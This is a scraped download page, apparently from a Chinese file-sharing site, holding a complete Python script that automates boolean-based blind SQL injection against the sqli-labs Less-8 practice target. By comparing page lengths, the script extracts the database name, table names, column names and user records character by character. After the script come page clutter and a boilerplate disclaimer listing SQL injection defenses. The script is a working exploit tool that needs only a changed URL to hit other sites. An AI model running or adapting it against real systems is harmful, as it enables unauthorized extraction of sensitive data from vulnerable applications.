import requests
import string
url = "http://192.168.2.134:83/Less-8/"
normalHtmlLen = len(requests.get(url=url + "?id=1").text)
print("The len of HTML:" + str(normalHtmlLen))
dbNameLen = 0
# 判断数据库长度
while True:
dbNameLen_url = url + "?id=1'+and+length(database())=" + str(dbNameLen) + "--+"
print(dbNameLen_url)
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
print("The len of dbName:" + str(dbNameLen))
break
# 超出长度抛出错误
if dbNameLen == 30:
print("Error!")
break
dbNameLen += 1
dbName = ""
# 爆破数据库名
for i in range(1, dbNameLen + 1):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+substr(database()," + str(i) + ",1)='" + a + "'--+"
print(dbName_url)
if len(requests.get(dbName_url).text) == normalHtmlLen:
dbName += a
print(dbName)
break
# 判断表长度
def biaoc(zhang):
biao = 0
while True:
dbNameLen_url = url + "?id=1' and length((select table_name from information_schema.tables where table_schema=database() limit %s,1))=" % zhang + str(
biao) + "--+"
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
print("The len of dbName:" + str(biao))
break
# 超出长度抛出错误
if biao == 30:
print("Error!")
break
biao += 1
return biao
def biaom(biaoc, shu, shujuku):
# 爆破表名
biaom = ''
for i in range(1, biaoc + 1):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+substr((select table_name from information_schema.tables where table_schema='%s' limit %s,1)," % (
shujuku, shu) + str(i) + ",1)='" + a + "'--+"
print(dbName_url)
if len(requests.get(dbName_url).text) == normalHtmlLen:
biaom += a
print(biaom)
break
return biaom
# 获取列长
def lie(zhang):
biao = 0
while True:
dbNameLen_url = url + "?id=1' and length((select column_name from information_schema.columns where table_schema='security' and table_name='users' limit %s,1))=" % zhang + str(
biao) + "--+"
if len(requests.get(dbNameLen_url).text) == normalHtmlLen:
# print("The len of dbName:"+str(biao))
break
# 超出长度抛出错误
if biao == 30:
print("Error!")
break
biao += 1
return biao
def liem(biaoc, shujuku, biao, zhang):
# 爆破列名
biaom = ''
for i in range(1, biaoc + 1):
for a in string.ascii_lowercase:
dbName_url = url + "?id=1'+and+substr((select column_name from information_schema.columns where table_schema='%s' and table_name='%s' limit %s,1)," % (
shujuku, biao, zhang) + str(i) + ",1)='" + a + "'--+"
print(dbName_url)
if len(requests.get(dbName_url).text) == normalHtmlLen:
biaom += a
print(biaom)
break
return biaom
def user(biao, diji):
# 爆破列名
biaom = ''
for i in range(1, 10):
for a in range(48, 122):
dbName_url = url + "?id=1' and (select ascii(substr((select %s from users limit %s,1)," % (
biao, diji) + str(i) + ",1)))='" + str(a) + "'--+ "
print(dbName_url)
if len(requests.get(dbName_url).text) == normalHtmlLen:
a = chr(a)
biaom += a
print(biaom)
break
return biaom
biaoc1 = biaoc(0)
biaoc2 = biaoc(1)
biaoc3 = biaoc(2)
biaoc4 = biaoc(3)
biaom1 = biaom(biaoc1, 0, dbName)
biaom2 = biaom(biaoc2, 1, dbName)
biaom3 = biaom(biaoc3, 2, dbName)
biaom4 = biaom(biaoc4, 3, dbName)
def xianshi():
print('数据库长度为:' + str(dbNameLen), ' 数据库名为:' + str(dbName))
print('表1长度为:' + str(biaoc1), ' 表1名为:' + str(biaom1))
print('表2长度为:' + str(biaoc2), ' 表2名为:' + str(biaom2))
print('表3长度为:' + str(biaoc3), ' 表3名为:' + str(biaom3))
print('表4长度为:' + str(biaoc4), ' 表4名为:' + str(biaom4))
while True:
xianshi()
print('需要查询数据库的哪一个表的列名')
aq = input()
print('需要查询数据库的哪一个表第几列的列名')
aw = input()
jieguo=liem(lie(aw), dbName, aq, aw)
xianshi()
print('你查询的列名为:', str(jieguo))
print('需要查询%s表%s列的第几个数据'%(aq,jieguo))
ae=input()
jieguo2=user(jieguo, ae)
xianshi()
print('你查询的列名为:', str(jieguo))
print('你查询的数据为:', str(jieguo2))
input("回车继续查询")
没有合适的资源?快使用搜索试试~ 我知道了~
温馨提示
我不鼓励或支持任何违反法律和道德的行为,包括自动SQL注入。SQL注入是一种安全漏洞,可能导致系统被攻击者利用并获取敏感信息。 作为开发者或用户,我们应该采取措施来防止SQL注入攻击,而不是去实现自动化工具来进行注入。以下是一些常见的防御措施: 使用参数化查询(Prepared Statements):使用预编译的SQL语句和参数绑定,而不是直接将用户输入拼接到SQL查询中。这样可以防止恶意代码通过用户输入来修改SQL查询的结构。 输入验证和过滤:对用户输入进行验证和过滤,确保只接受符合预期格式和范围的数据。例如,可以使用正则表达式、白名单过滤或黑名单过滤等方法。 最小权限原则:确保数据库用户只具有执行必要操作所需的最低权限。不要将高级权限授予普通用户。 定期更新和修复漏洞:保持数据库软件和应用程序的更新,并及时修复已知的漏洞。 安全审计和监控:记录和监控数据库操作,以便及时发现异常行为和攻击尝试。 请记住,保护系统的安全性和防止恶意攻击是我们每个人的责任。如果您发现任何潜在的安全漏洞或问题,请及时报告给相关的维护团队或开发者,以便修复和加强安全措施。
资源推荐
资源详情
资源评论
收起资源包目录
Python实现自动sql注入.rar (1个子文件)
Python实现自动sql注入
Python实现自动sql注入.py 5KB
共 1 条
- 1
资源评论
童小纯
- 粉丝: 3w+
- 资源: 289
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 聊天系统(java+applet).zip
- 毕业设计:基于SSM的mysql-高校学生请假管理系统(源码 + 数据库 + 说明文档)
- 博客系统(struts+hibernate+spring).rar
- c语言学生成绩管理系统源码.zip
- 毕业设计:基于SSM的mysql-网约车用户服务平台(源码 + 数据库 + 说明文档)
- 内容管理系统(hibernate3+struts2+spring2)130224.rar
- 基于Java的班级管理系统课程设计源码
- 内容管理系统(hibernate3+struts2+spring2).rar
- 路由器刷breed Web控制台助手v5.8版本.rar
- Java 在 JEP 12 提供的特性预览
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功